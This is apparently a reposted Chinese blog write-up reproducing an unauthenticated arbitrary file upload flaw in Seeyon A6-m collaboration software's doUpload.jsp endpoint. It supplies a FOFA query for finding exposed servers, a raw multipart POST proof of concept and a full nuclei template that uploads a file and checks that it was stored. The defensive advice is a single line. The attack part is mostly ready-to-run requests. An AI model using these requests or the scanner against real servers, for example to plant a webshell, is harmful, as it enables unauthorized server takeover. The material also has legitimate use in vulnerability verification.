当前位置:   article > 正文

致远A6-m协同管理软件任意文件上传漏洞复现_致远a6-m协同软件漏洞

致远a6-m协同软件漏洞

致远A6-m协同管理软件任意文件上传漏洞复现

1.漏洞介绍

致远A6-m协同管理软件doUpload.jsp接口存在任意文件上传漏洞,未授权的攻击者可以通过该漏洞上传恶意文件,从而控制服务器

2.漏洞编号
CVECNVDCNNVD
---

3.影响范围
名称版本号
-

4.检索特征

FOFA:icon_hash=“277494963”
在这里插入图片描述

5.POC
POST http://127.0.0.1/yyoa/portal/tools/doUpload.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Length: 219
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvI7BO1Qq69tqF3Fh
Cookie: JSESSIONID=1BDC1511726B24DF9B75FD554960F96A; JSESSIONID=0B4A41EA32B167EC5531DD0F78E4C10D
Origin: http://47.106.219.92:9090/
Accept-Encoding: gzip, deflate, br

------WebKitFormBoundaryvI7BO1Qq69tqF3Fh
Content-Disposition: form-data; name="myfile"; filename="cghn8mdjms.txt"
Content-Type: application/octet-stream

www.cnvd.org.cn
------WebKitFormBoundaryvI7BO1Qq69tqF3Fh--

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

在这里插入图片描述
https://x.x.x.x/yyoa/portal/upload/1709521517843.txt
在这里插入图片描述

nuclei脚本

id: seeyon-a6-m-doupload-fileupload

info:
  name: 致远A6-m协同管理软件任意文件上传
  author: hugh
  severity: critical
  description: 致远A6-m协同管理软件任意文件上传
  reference:
    - none
  metadata:
    verified: true
    max-request: 2
    fofa-query: 'icon_hash="277494963"'
  tags: seeyon,oa,fileuplaod

variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{rand_base(16)}}"

http:
  - raw:
      - |
        POST /yyoa/portal/tools/doUpload.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 298
        Origin: {{BaseURL}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
        Accept: */*
        Cookie: JSESSIONID=1BDC1511726B24DF9B75FD554960F96A; JSESSIONID=0B4A41EA32B167EC5531DD0F78E4C10D
        Connection: close

        ------WebKitFormBoundary{{boundary}}
        Content-Disposition: form-data; name="myfile"; filename="{{filename}}.txt"
        Content-Type: application/octet-stream

        www.cnvd.org.cn
        ------WebKitFormBoundary{{boundary}}--

      - |
        GET /yyoa/portal/upload/{{jspuploadfilename}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36

    extractors:
      - type: regex
        name: jspuploadfilename
        part: body
        group: 1
        internal: true
        regex:
          - '(\d{13}\.txt)'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 && contains((body_1), 'window.returnValue') && contains((body_2), 'www.cnvd.org.cn')"
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58

6.修复建议

更新到最新版本

7.参考信息
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/388296
推荐阅读
相关标签
  

闽ICP备14008679号